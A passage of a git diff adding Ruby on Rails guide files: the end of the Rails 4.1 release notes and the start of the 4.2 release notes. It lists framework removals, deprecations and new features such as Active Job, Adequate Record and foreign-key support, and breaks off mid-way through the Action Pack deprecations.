`threadsafe!` from Rails Config. + +* Removed deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in + favor of `ActiveRecord::Generators::ActiveModel#update`. + +* Removed deprecated `config.whiny_nils` option. + +* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and + `rake test:recent`. + +### Notable changes + +* The [Spring application + preloader](https://github.com/rails/spring) is now installed + by default for new applications. It uses the development group of + the `Gemfile`, so will not be installed in + production. ([Pull Request](https://github.com/rails/rails/pull/12958)) + +* `BACKTRACE` environment variable to show unfiltered backtraces for test + failures. ([Commit](https://github.com/rails/rails/commit/84eac5dab8b0fe9ee20b51250e52ad7bfea36553)) + +* Exposed `MiddlewareStack#unshift` to environment + configuration. ([Pull Request](https://github.com/rails/rails/pull/12479)) + +* Added `Application#message_verifier` method to return a message + verifier. ([Pull Request](https://github.com/rails/rails/pull/12995)) + +* The `test_help.rb` file which is required by the default generated test + helper will automatically keep your test database up-to-date with + `db/schema.rb` (or `db/structure.sql`). It raises an error if + reloading the schema does not resolve all pending migrations. Opt out + with `config.active_record.maintain_test_schema = false`. ([Pull + Request](https://github.com/rails/rails/pull/13528)) + +* Introduce `Rails.gem_version` as a convenience method to return + `Gem::Version.new(Rails.version)`, suggesting a more reliable way to perform + version comparison. ([Pull Request](https://github.com/rails/rails/pull/14103)) + + +Action Pack +----------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionpack/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed deprecated Rails application fallback for integration testing, set + `ActionDispatch.test_app` instead. + +* Removed deprecated `page_cache_extension` config. + +* Removed deprecated `ActionController::RecordIdentifier`, use + `ActionView::RecordIdentifier` instead. + +* Removed deprecated constants from Action Controller: + +| Removed | Successor | +|:-----------------------------------|:--------------------------------| +| ActionController::AbstractRequest | ActionDispatch::Request | +| ActionController::Request | ActionDispatch::Request | +| ActionController::AbstractResponse | ActionDispatch::Response | +| ActionController::Response | ActionDispatch::Response | +| ActionController::Routing | ActionDispatch::Routing | +| ActionController::Integration | ActionDispatch::Integration | +| ActionController::IntegrationTest | ActionDispatch::IntegrationTest | + +### Notable changes + +* `protect_from_forgery` also prevents cross-origin `<script>` tags. + Update your tests to use `xhr :get, :foo, format: :js` instead of + `get :foo, format: :js`. + ([Pull Request](https://github.com/rails/rails/pull/13345)) + +* `#url_for` takes a hash with options inside an + array. ([Pull Request](https://github.com/rails/rails/pull/9599)) + +* Added `session#fetch` method fetch behaves similarly to + [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch), + with the exception that the returned value is always saved into the + session. ([Pull Request](https://github.com/rails/rails/pull/12692)) + +* Separated Action View completely from Action + Pack. ([Pull Request](https://github.com/rails/rails/pull/11032)) + +* Log which keys were affected by deep + munge. ([Pull Request](https://github.com/rails/rails/pull/13813)) + +* New config option `config.action_dispatch.perform_deep_munge` to opt out of + params "deep munging" that was used to address security vulnerability + CVE-2013-0155. ([Pull Request](https://github.com/rails/rails/pull/13188)) + +* New config option `config.action_dispatch.cookies_serializer` for specifying a + serializer for the signed and encrypted cookie jars. (Pull Requests + [1](https://github.com/rails/rails/pull/13692), + [2](https://github.com/rails/rails/pull/13945) / + [More Details](upgrading_ruby_on_rails.html#cookies-serializer)) + +* Added `render :plain`, `render :html` and `render + :body`. ([Pull Request](https://github.com/rails/rails/pull/14062) / + [More Details](upgrading_ruby_on_rails.html#rendering-content-from-string)) + + +Action Mailer +------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md) +for detailed changes. + +### Notable changes + +* Added mailer previews feature based on 37 Signals mail_view + gem. ([Commit](https://github.com/rails/rails/commit/d6dec7fcb6b8fddf8c170182d4fe64ecfc7b2261)) + +* Instrument the generation of Action Mailer messages. The time it takes to + generate a message is written to the log. ([Pull Request](https://github.com/rails/rails/pull/12556)) + + +Active Record +------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activerecord/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed deprecated nil-passing to the following `SchemaCache` methods: + `primary_keys`, `tables`, `columns` and `columns_hash`. + +* Removed deprecated block filter from `ActiveRecord::Migrator#migrate`. + +* Removed deprecated String constructor from `ActiveRecord::Migrator`. + +* Removed deprecated `scope` use without passing a callable object. + +* Removed deprecated `transaction_joinable=` in favor of `begin_transaction` + with a `:joinable` option. + +* Removed deprecated `decrement_open_transactions`. + +* Removed deprecated `increment_open_transactions`. + +* Removed deprecated `PostgreSQLAdapter#outside_transaction?` + method. You can use `#transaction_open?` instead. + +* Removed deprecated `ActiveRecord::Fixtures.find_table_name` in favor of + `ActiveRecord::Fixtures.default_fixture_model_name`. + +* Removed deprecated `columns_for_remove` from `SchemaStatements`. + +* Removed deprecated `SchemaStatements#distinct`. + +* Moved deprecated `ActiveRecord::TestCase` into the Rails test + suite. The class is no longer public and is only used for internal + Rails tests. + +* Removed support for deprecated option `:restrict` for `:dependent` + in associations. + +* Removed support for deprecated `:delete_sql`, `:insert_sql`, `:finder_sql` + and `:counter_sql` options in associations. + +* Removed deprecated method `type_cast_code` from Column. + +* Removed deprecated `ActiveRecord::Base#connection` method. + Make sure to access it via the class. + +* Removed deprecation warning for `auto_explain_threshold_in_seconds`. + +* Removed deprecated `:distinct` option from `Relation#count`. + +* Removed deprecated methods `partial_updates`, `partial_updates?` and + `partial_updates=`. + +* Removed deprecated method `scoped`. + +* Removed deprecated method `default_scopes?`. + +* Remove implicit join references that were deprecated in 4.0. + +* Removed `activerecord-deprecated_finders` as a dependency. + Please see [the gem README](https://github.com/rails/activerecord-deprecated_finders#active-record-deprecated-finders) + for more info. + +* Removed usage of `implicit_readonly`. Please use `readonly` method + explicitly to mark records as + `readonly`. ([Pull Request](https://github.com/rails/rails/pull/10769)) + +### Deprecations + +* Deprecated `quoted_locking_column` method, which isn't used anywhere. + +* Deprecated `ConnectionAdapters::SchemaStatements#distinct`, + as it is no longer used by internals. ([Pull Request](https://github.com/rails/rails/pull/10556)) + +* Deprecated `rake db:test:*` tasks as the test database is now + automatically maintained. See railties release notes. ([Pull + Request](https://github.com/rails/rails/pull/13528)) + +* Deprecate unused `ActiveRecord::Base.symbolized_base_class` + and `ActiveRecord::Base.symbolized_sti_name` without + replacement. [Commit](https://github.com/rails/rails/commit/97e7ca48c139ea5cce2fa9b4be631946252a1ebd) + +### Notable changes + +* Default scopes are no longer overridden by chained conditions. + + Before this change when you defined a `default_scope` in a model + it was overridden by chained conditions in the same field. Now it + is merged like any other scope. [More Details](upgrading_ruby_on_rails.html#changes-on-default-scopes). + +* Added `ActiveRecord::Base.to_param` for convenient "pretty" URLs derived from + a model's attribute or + method. ([Pull Request](https://github.com/rails/rails/pull/12891)) + +* Added `ActiveRecord::Base.no_touching`, which allows ignoring touch on + models. ([Pull Request](https://github.com/rails/rails/pull/12772)) + +* Unify boolean type casting for `MysqlAdapter` and `Mysql2Adapter`. + `type_cast` will return `1` for `true` and `0` for `false`. ([Pull Request](https://github.com/rails/rails/pull/12425)) + +* `.unscope` now removes conditions specified in + `default_scope`. ([Commit](https://github.com/rails/rails/commit/94924dc32baf78f13e289172534c2e71c9c8cade)) + +* Added `ActiveRecord::QueryMethods#rewhere` which will overwrite an existing, + named where condition. ([Commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2)) + +* Extended `ActiveRecord::Base#cache_key` to take an optional list of timestamp + attributes of which the highest will be used. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329)) + +* Added `ActiveRecord::Base#enum` for declaring enum attributes where the values + map to integers in the database, but can be queried by + name. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5)) + +* Type cast json values on write, so that the value is consistent with reading + from the database. ([Pull Request](https://github.com/rails/rails/pull/12643)) + +* Type cast hstore values on write, so that the value is consistent + with reading from the database. ([Commit](https://github.com/rails/rails/commit/5ac2341fab689344991b2a4817bd2bc8b3edac9d)) + +* Make `next_migration_number` accessible for third party + generators. ([Pull Request](https://github.com/rails/rails/pull/12407)) + +* Calling `update_attributes` will now throw an `ArgumentError` whenever it + gets a `nil` argument. More specifically, it will throw an error if the + argument that it gets passed does not respond to to + `stringify_keys`. ([Pull Request](https://github.com/rails/rails/pull/9860)) + +* `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed + query to fetch results rather than loading the entire + collection. ([Pull Request](https://github.com/rails/rails/pull/12137)) + +* `inspect` on Active Record model classes does not initiate a new + connection. This means that calling `inspect`, when the database is missing, + will no longer raise an exception. ([Pull Request](https://github.com/rails/rails/pull/11014)) + +* Removed column restrictions for `count`, let the database raise if the SQL is + invalid. ([Pull Request](https://github.com/rails/rails/pull/10710)) + +* Rails now automatically detects inverse associations. If you do not set the + `:inverse_of` option on the association, then Active Record will guess the + inverse association based on heuristics. ([Pull Request](https://github.com/rails/rails/pull/10886)) + +* Handle aliased attributes in ActiveRecord::Relation. When using symbol keys, + ActiveRecord will now translate aliased attribute names to the actual column + name used in the database. ([Pull Request](https://github.com/rails/rails/pull/7839)) + +* The ERB in fixture files is no longer evaluated in the context of the main + object. Helper methods used by multiple fixtures should be defined on modules + included in `ActiveRecord::FixtureSet.context_class`. ([Pull Request](https://github.com/rails/rails/pull/13022)) + +* Don't create or drop the test database if RAILS_ENV is specified + explicitly. ([Pull Request](https://github.com/rails/rails/pull/13629)) + +* `Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert + to an `Array` by calling `#to_a` before using these methods. ([Pull Request](https://github.com/rails/rails/pull/13314)) + +* `find_in_batches`, `find_each`, `Result#each` and `Enumerable#index_by` now + return an `Enumerator` that can calculate its + size. ([Pull Request](https://github.com/rails/rails/pull/13938)) + +* `scope`, `enum` and Associations now raise on "dangerous" name + conflicts. ([Pull Request](https://github.com/rails/rails/pull/13450), + [Pull Request](https://github.com/rails/rails/pull/13896)) + +* `second` through `fifth` methods act like the `first` + finder. ([Pull Request](https://github.com/rails/rails/pull/13757)) + +* Make `touch` fire the `after_commit` and `after_rollback` + callbacks. ([Pull Request](https://github.com/rails/rails/pull/12031)) + +* Enable partial indexes for `sqlite >= 3.8.0`. + ([Pull Request](https://github.com/rails/rails/pull/13350)) + +* Make `change_column_null` + revertible. ([Commit](https://github.com/rails/rails/commit/724509a9d5322ff502aefa90dd282ba33a281a96)) + +* Added a flag to disable schema dump after migration. This is set to `false` + by default in the production environment for new applications. + ([Pull Request](https://github.com/rails/rails/pull/13948)) + +Active Model +------------ + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md) +for detailed changes. + +### Deprecations + +* Deprecate `Validator#setup`. This should be done manually now in the + validator's constructor. ([Commit](https://github.com/rails/rails/commit/7d84c3a2f7ede0e8d04540e9c0640de7378e9b3a)) + +### Notable changes + +* Added new API methods `reset_changes` and `changes_applied` to + `ActiveModel::Dirty` that control changes state. + +* Ability to specify multiple contexts when defining a + validation. ([Pull Request](https://github.com/rails/rails/pull/13754)) + +* `attribute_changed?` now accepts a hash to check if the attribute was changed + `:from` and/or `:to` a given + value. ([Pull Request](https://github.com/rails/rails/pull/13131)) + + +Active Support +-------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md) +for detailed changes. + + +### Removals + +* Removed `MultiJSON` dependency. As a result, `ActiveSupport::JSON.decode` + no longer accepts an options hash for `MultiJSON`. ([Pull Request](https://github.com/rails/rails/pull/10576) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Removed support for the `encode_json` hook used for encoding custom objects into + JSON. This feature has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Related Pull Request](https://github.com/rails/rails/pull/12183) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement. + +* Removed deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`). + +* Removed deprecated `Module#local_constant_names` in favor of `Module#local_constants`. + +* Removed deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_format`. + +* Removed deprecated `Logger` core extensions (`core_ext/logger.rb`). + +* Removed deprecated `Time#time_with_datetime_fallback`, `Time#utc_time` and + `Time#local_time` in favor of `Time#utc` and `Time#local`. + +* Removed deprecated `Hash#diff` with no replacement. + +* Removed deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`. + +* Removed deprecated `Proc#bind` with no replacement. + +* Removed deprecated `Array#uniq_by` and `Array#uniq_by!`, use native + `Array#uniq` and `Array#uniq!` instead. + +* Removed deprecated `ActiveSupport::BasicObject`, use + `ActiveSupport::ProxyObject` instead. + +* Removed deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead. + +* Removed deprecated `assert_present` and `assert_blank` methods, use `assert + object.blank?` and `assert object.present?` instead. + +* Remove deprecated `#filter` method for filter objects, use the corresponding + method instead (e.g. `#before` for a before filter). + +* Removed 'cow' => 'kine' irregular inflection from default + inflections. ([Commit](https://github.com/rails/rails/commit/c300dca9963bda78b8f358dbcb59cabcdc5e1dc9)) + +### Deprecations + +* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to + explicitly convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago` + ([Pull Request](https://github.com/rails/rails/pull/12389)) + +* Deprecated the require path `active_support/core_ext/object/to_json`. Require + `active_support/core_ext/object/json` instead. ([Pull Request](https://github.com/rails/rails/pull/12203)) + +* Deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. This feature + has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Pull Request](https://github.com/rails/rails/pull/12785) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Deprecated `ActiveSupport.encode_big_decimal_as_string` option. This feature has + been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Pull Request](https://github.com/rails/rails/pull/13060) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Deprecate custom `BigDecimal` + serialization. ([Pull Request](https://github.com/rails/rails/pull/13911)) + +### Notable changes + +* `ActiveSupport`'s JSON encoder has been rewritten to take advantage of the + JSON gem rather than doing custom encoding in pure-Ruby. + ([Pull Request](https://github.com/rails/rails/pull/12183) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Improved compatibility with the JSON gem. + ([Pull Request](https://github.com/rails/rails/pull/12862) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Added `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These + methods change current time to the given time or duration by stubbing + `Time.now` and `Date.today`. + +* Added `ActiveSupport::Testing::TimeHelpers#travel_back`. This method returns + the current time to the original state, by removing the stubs added by `travel` + and `travel_to`. ([Pull Request](https://github.com/rails/rails/pull/13884)) + +* Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed + them to JavaScript functions like + `getTime()`. ([Commit](https://github.com/rails/rails/commit/423249504a2b468d7a273cbe6accf4f21cb0e643)) + +* Added `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day` + methods. Also added `midday`, `noon`, `at_midday`, `at_noon` and + `at_middle_of_day` as + aliases. ([Pull Request](https://github.com/rails/rails/pull/10879)) + +* Added `Date#all_week/month/quarter/year` for generating date + ranges. ([Pull Request](https://github.com/rails/rails/pull/9685)) + +* Added `Time.zone.yesterday` and + `Time.zone.tomorrow`. ([Pull Request](https://github.com/rails/rails/pull/12822)) + +* Added `String#remove(pattern)` as a short-hand for the common pattern of + `String#gsub(pattern,'')`. ([Commit](https://github.com/rails/rails/commit/5da23a3f921f0a4a3139495d2779ab0d3bd4cb5f)) + +* Added `Hash#compact` and `Hash#compact!` for removing items with nil value + from hash. ([Pull Request](https://github.com/rails/rails/pull/13632)) + +* `blank?` and `present?` commit to return + singletons. ([Commit](https://github.com/rails/rails/commit/126dc47665c65cd129967cbd8a5926dddd0aa514)) + +* Default the new `I18n.enforce_available_locales` config to `true`, meaning + `I18n` will make sure that all locales passed to it must be declared in the + `available_locales` + list. ([Pull Request](https://github.com/rails/rails/pull/13341)) + +* Introduce `Module#concerning`: a natural, low-ceremony way to separate + responsibilities within a + class. ([Commit](https://github.com/rails/rails/commit/1eee0ca6de975b42524105a59e0521d18b38ab81)) + +* Added `Object#presence_in` to simplify adding values to a permitted list. + ([Commit](https://github.com/rails/rails/commit/4edca106daacc5a159289eae255207d160f22396)) + + +Credits +------- + +See the +[full list of contributors to Rails](http://contributors.rubyonrails.org/) for +the many people who spent many hours making Rails, the stable and robust +framework it is. Kudos to all of them. diff --git a/guides/source/4_2_release_notes.md b/guides/source/4_2_release_notes.md new file mode 100644 index 0000000000..51d06bd07d --- /dev/null +++ b/guides/source/4_2_release_notes.md @@ -0,0 +1,890 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Ruby on Rails 4.2 Release Notes +=============================== + +Highlights in Rails 4.2: + +* Active Job +* Asynchronous mails +* Adequate Record +* Web Console +* Foreign key support + +These release notes cover only the major changes. To learn about other +features, bug fixes, and changes, please refer to the changelogs or check out +the [list of commits](https://github.com/rails/rails/commits/4-2-stable) in +the main Rails repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 4.2 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 4.1 in case you +haven't and make sure your application still runs as expected before attempting +to upgrade to Rails 4.2. A list of things to watch out for when upgrading is +available in the guide [Upgrading Ruby on +Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-1-to-rails-4-2). + + +Major Features +-------------- + +### Active Job + +Active Job is a new framework in Rails 4.2. It is a common interface on top of +queuing systems like [Resque](https://github.com/resque/resque), [Delayed +Job](https://github.com/collectiveidea/delayed_job), +[Sidekiq](https://github.com/mperham/sidekiq), and more. + +Jobs written with the Active Job API run on any of the supported queues thanks +to their respective adapters. Active Job comes pre-configured with an inline +runner that executes jobs right away. + +Jobs often need to take Active Record objects as arguments. Active Job passes +object references as URIs (uniform resource identifiers) instead of marshalling +the object itself. The new [Global ID](https://github.com/rails/globalid) +library builds URIs and looks up the objects they reference. Passing Active +Record objects as job arguments just works by using Global ID internally. + +For example, if `trashable` is an Active Record object, then this job runs +just fine with no serialization involved: + +```ruby +class TrashableCleanupJob < ActiveJob::Base + def perform(trashable, depth) + trashable.cleanup(depth) + end +end +``` + +See the [Active Job Basics](active_job_basics.html) guide for more +information. + +### Asynchronous Mails + +Building on top of Active Job, Action Mailer now comes with a `deliver_later` +method that sends emails via the queue, so it doesn't block the controller or +model if the queue is asynchronous (the default inline queue blocks). + +Sending emails right away is still possible with `deliver_now`. + +### Adequate Record + +Adequate Record is a set of performance improvements in Active Record that makes +common `find` and `find_by` calls and some association queries up to 2x faster. + +It works by caching common SQL queries as prepared statements and reusing them +on similar calls, skipping most of the query-generation work on subsequent +calls. For more details, please refer to [Aaron Patterson's blog +post](http://tenderlovemaking.com/2014/02/19/adequaterecord-pro-like-activerecord.html). + +Active Record will automatically take advantage of this feature on +supported operations without any user involvement or code changes. Here are +some examples of supported operations: + +```ruby +Post.find(1) # First call generates and cache the prepared statement +Post.find(2) # Subsequent calls reuse the cached prepared statement + +Post.find_by_title('first post') +Post.find_by_title('second post') + +Post.find_by(title: 'first post') +Post.find_by(title: 'second post') + +post.comments +post.comments(true) +``` + +It's important to highlight that, as the examples above suggest, the prepared +statements do not cache the values passed in the method calls; rather, they +have placeholders for them. + +Caching is not used in the following scenarios: + +- The model has a default scope +- The model uses single table inheritance +- `find` with a list of ids, e.g.: + + ```ruby + # not cached + Post.find(1, 2, 3) + Post.find([1,2]) + ``` + +- `find_by` with SQL fragments: + + ```ruby + Post.find_by('published_at < ?', 2.weeks.ago) + ``` + +### Web Console + +New applications generated with Rails 4.2 now come with the [Web +Console](https://github.com/rails/web-console) gem by default. Web Console adds +an interactive Ruby console on every error page and provides a `console` view +and controller helpers. + +The interactive console on error pages lets you execute code in the context of +the place where the exception originated. The `console` helper, if called +anywhere in a view or controller, launches an interactive console with the final +context, once rendering has completed. + +### Foreign Key Support + +The migration DSL now supports adding and removing foreign keys. They are dumped +to `schema.rb` as well. At this time, only the `mysql`, `mysql2` and `postgresql` +adapters support foreign keys. + +```ruby +# add a foreign key to `articles.author_id` referencing `authors.id` +add_foreign_key :articles, :authors + +# add a foreign key to `articles.author_id` referencing `users.lng_id` +add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id" + +# remove the foreign key on `accounts.branch_id` +remove_foreign_key :accounts, :branches + +# remove the foreign key on `accounts.owner_id` +remove_foreign_key :accounts, column: :owner_id +``` + +See the API documentation on +[add_foreign_key](http://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key) +and +[remove_foreign_key](http://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key) +for a full description. + + +Incompatibilities +----------------- + +Previously deprecated functionality has been removed. Please refer to the +individual components for new deprecations in this release. + +The following changes may require immediate action upon upgrade. + +### `render` with a String Argument + +Previously, calling `render "foo/bar"` in a controller action was equivalent to +`render file: "foo/bar"`. In Rails 4.2, this has been changed to mean +`render template: "foo/bar"` instead. If you need to render a file, please +change your code to use the explicit form (`render file: "foo/bar"`) instead. + +### `respond_with` / Class-Level `respond_to` + +`respond_with` and the corresponding class-level `respond_to` have been moved +to the [responders](https://github.com/plataformatec/responders) gem. Add +`gem 'responders', '~> 2.0'` to your `Gemfile` to use it: + +```ruby +# app/controllers/users_controller.rb + +class UsersController < ApplicationController + respond_to :html, :json + + def show + @user = User.find(params[:id]) + respond_with @user + end +end +``` + +Instance-level `respond_to` is unaffected: + +```ruby +# app/controllers/users_controller.rb + +class UsersController < ApplicationController + def show + @user = User.find(params[:id]) + respond_to do |format| + format.html + format.json { render json: @user } + end + end +end +``` + +### Default Host for `rails server` + +Due to a [change in Rack](https://github.com/rack/rack/commit/28b014484a8ac0bbb388e7eaeeef159598ec64fc), +`rails server` now listens on `localhost` instead of `0.0.0.0` by default. This +should have minimal impact on the standard development workflow as both +http://127.0.0.1:3000 and http://localhost:3000 will continue to work as before +on your own machine. + +However, with this change you will no longer be able to access the Rails +server from a different machine, for example if your development environment +is in a virtual machine and you would like to access it from the host machine. +In such cases, please start the server with `rails server -b 0.0.0.0` to +restore the old behavior. + +If you do this, be sure to configure your firewall properly such that only +trusted machines on your network can access your development server. + +### Changed status option symbols for `render` + +Due to a [change in Rack](https://github.com/rack/rack/commit/be28c6a2ac152fe4adfbef71f3db9f4200df89e8), the symbols that the `render` method accepts for the `:status` option have changed: + +- 306: `:reserved` has been removed. +- 413: `:request_entity_too_large` has been renamed to `:payload_too_large`. +- 414: `:request_uri_too_long` has been renamed to `:uri_too_long`. +- 416: `:requested_range_not_satisfiable` has been renamed to `:range_not_satisfiable`. + +Keep in mind that if calling `render` with an unknown symbol, the response status will default to 500. + +### HTML Sanitizer + +The HTML sanitizer has been replaced with a new, more robust, implementation +built upon [Loofah](https://github.com/flavorjones/loofah) and +[Nokogiri](https://github.com/sparklemotion/nokogiri). The new sanitizer is +more secure and its sanitization is more powerful and flexible. + +Due to the new algorithm, the sanitized output may be different for certain +pathological inputs. + +If you have a particular need for the exact output of the old sanitizer, you +can add the [rails-deprecated_sanitizer](https://github.com/kaspth/rails-deprecated_sanitizer) +gem to the `Gemfile`, to have the old behavior. The gem does not issue +deprecation warnings because it is opt-in. + +`rails-deprecated_sanitizer` will be supported for Rails 4.2 only; it will not +be maintained for Rails 5.0. + +See [this blog post](http://blog.plataformatec.com.br/2014/07/the-new-html-sanitizer-in-rails-4-2/) +for more details on the changes in the new sanitizer. + +### `assert_select` + +`assert_select` is now based on [Nokogiri](https://github.com/sparklemotion/nokogiri). +As a result, some previously-valid selectors are now unsupported. If your +application is using any of these spellings, you will need to update them: + +* Values in attribute selectors may need to be quoted if they contain + non-alphanumeric characters. + + ```ruby + # before + a[href=/] + a[href$=/] + + # now + a[href="/"] + a[href$="/"] + ``` + +* DOMs built from HTML source containing invalid HTML with improperly + nested elements may differ. + + For example: + + ```ruby + # content: <div><i><p></i></div> + + # before: + assert_select('div > i') # => true + assert_select('div > p') # => false + assert_select('i > p') # => true + + # now: + assert_select('div > i') # => true + assert_select('div > p') # => true + assert_select('i > p') # => false + ``` + +* If the data selected contains entities, the value selected for comparison + used to be raw (e.g. `AT&T`), and now is evaluated + (e.g. `AT&T`). + + ```ruby + # content: <p>AT&T</p> + + # before: + assert_select('p', 'AT&T') # => true + assert_select('p', 'AT&T') # => false + + # now: + assert_select('p', 'AT&T') # => true + assert_select('p', 'AT&T') # => false + ``` + +Furthermore substitutions have changed syntax. + +Now you have to use a `:match` CSS-like selector: + +```ruby +assert_select ":match('id', ?)", 'comment_1' +``` + +Additionally Regexp substitutions look different when the assertion fails. +Notice how `/hello/` here: + +```ruby +assert_select(":match('id', ?)", /hello/) +``` + +becomes `"(?-mix:hello)"`: + +``` +Expected at least 1 element matching "div:match('id', "(?-mix:hello)")", found 0.. +Expected 0 to be >= 1. +``` + +See the [Rails Dom Testing](https://github.com/rails/rails-dom-testing/tree/8798b9349fb9540ad8cb9a0ce6cb88d1384a210b) documentation for more on `assert_select`. + + +Railties +-------- + +Please refer to the [Changelog][railties] for detailed changes. + +### Removals + +* The `--skip-action-view` option has been removed from the + app generator. ([Pull Request](https://github.com/rails/rails/pull/17042)) + +* The `rails application` command has been removed without replacement. + ([Pull Request](https://github.com/rails/rails/pull/11616)) + +### Deprecations + +* Deprecated missing `config.log_level` for production environments. + ([Pull Request](https://github.com/rails/rails/pull/16622)) + +* Deprecated `rake test:all` in favor of `rake test` as it now run all tests + in the `test` folder. + ([Pull Request](https://github.com/rails/rails/pull/17348)) + +* Deprecated `rake test:all:db` in favor of `rake test:db`. + ([Pull Request](https://github.com/rails/rails/pull/17348)) + +* Deprecated `Rails::Rack::LogTailer` without replacement. + ([Commit](https://github.com/rails/rails/commit/84a13e019e93efaa8994b3f8303d635a7702dbce)) + +### Notable changes + +* Introduced `web-console` in the default application `Gemfile`. + ([Pull Request](https://github.com/rails/rails/pull/11667)) + +* Added a `required` option to the model generator for associations. + ([Pull Request](https://github.com/rails/rails/pull/16062)) + +* Introduced the `x` namespace for defining custom configuration options: + + ```ruby + # config/environments/production.rb + config.x.payment_processing.schedule = :daily + config.x.payment_processing.retries = 3 + config.x.super_debugger = true + ``` + + These options are then available through the configuration object: + + ```ruby + Rails.configuration.x.payment_processing.schedule # => :daily + Rails.configuration.x.payment_processing.retries # => 3 + Rails.configuration.x.super_debugger # => true + ``` + + ([Commit](https://github.com/rails/rails/commit/611849772dd66c2e4d005dcfe153f7ce79a8a7db)) + +* Introduced `Rails::Application.config_for` to load a configuration for the + current environment. + + ```ruby + # config/exception_notification.yml: + production: + url: http://127.0.0.1:8080 + namespace: my_app_production + development: + url: http://localhost:3001 + namespace: my_app_development + + # config/environments/production.rb + Rails.application.configure do + config.middleware.use ExceptionNotifier, config_for(:exception_notification) + end + ``` + + ([Pull Request](https://github.com/rails/rails/pull/16129)) + +* Introduced a `--skip-turbolinks` option in the app generator to not generate + turbolinks integration. + ([Commit](https://github.com/rails/rails/commit/bf17c8a531bc8059d50ad731398002a3e7162a7d)) + +* Introduced a `bin/setup` script as a convention for automated setup code when + bootstrapping an application. + ([Pull Request](https://github.com/rails/rails/pull/15189)) + +* Changed the default value for `config.assets.digest` to `true` in development. + ([Pull Request](https://github.com/rails/rails/pull/15155)) + +* Introduced an API to register new extensions for `rake notes`. + ([Pull Request](https://github.com/rails/rails/pull/14379)) + +* Introduced an `after_bundle` callback for use in Rails templates. + ([Pull Request](https://github.com/rails/rails/pull/16359)) + +* Introduced `Rails.gem_version` as a convenience method to return + `Gem::Version.new(Rails.version)`. + ([Pull Request](https://github.com/rails/rails/pull/14101)) + + +Action Pack +----------- + +Please refer to the [Changelog][action-pack] for detailed changes. + +### Removals + +* `respond_with` and the class-level `respond_to` have been removed from Rails and + moved to the `responders` gem (version 2.0). Add `gem 'responders', '~> 2.0'` + to your `Gemfile` to continue using these features. + ([Pull Request](https://github.com/rails/rails/pull/16526), + [More Details](https://guides.rubyonrails.org/upgrading_ruby_on_rails.html#responders)) + +* Removed deprecated `AbstractController::Helpers::ClassMethods::MissingHelperError` + in favor of `AbstractController::Helpers::MissingHelperError`. + ([Commit](https://github.com/rails/rails/commit/a1ddde15ae0d612ff2973de9cf768ed701b594e8)) + +### Deprecations + +* Deprecated the `only_path` option on `*_path` helpers. + ([Commit](https://github.com/rails/rails/commit/aa1fadd48fb40dd9396a383696134a259aa59db9)) + +* Deprecated `assert_tag`, `assert_no_tag`, `find_tag` and `find_all_tag` in + favor of `assert_select`. + ([Commit](https://github.com/rails/rails-dom-testing/commit/b12850bc5ff23ba4b599bf2770874dd4f11bf750)) + +* Deprecated support for setting the `:to` option of a router to a symbol or a + string that does not contain a "#" character: + + ```ruby + get '/posts', to: MyRackApp => (No change necessary) + get '/posts', to: 'post#index' => (No change necessary) + get '/posts', to: 'posts' => get '/posts', controller: :posts + get '/posts', to: :index => get '/posts', action: :index + ``` + + ([Commit](https://github.com/rails/rails/commit/cc26b6b7bccf0eea2e2c1a9ebdcc9d30ca7390d9)) + +* Deprecated support for string keys in URL helpers: + + ```ruby + # bad + root_path('controller' => 'posts', 'action' => 'index') + + # good + root_path(controller: 'posts', action: 'index') + ``` + + ([Pull 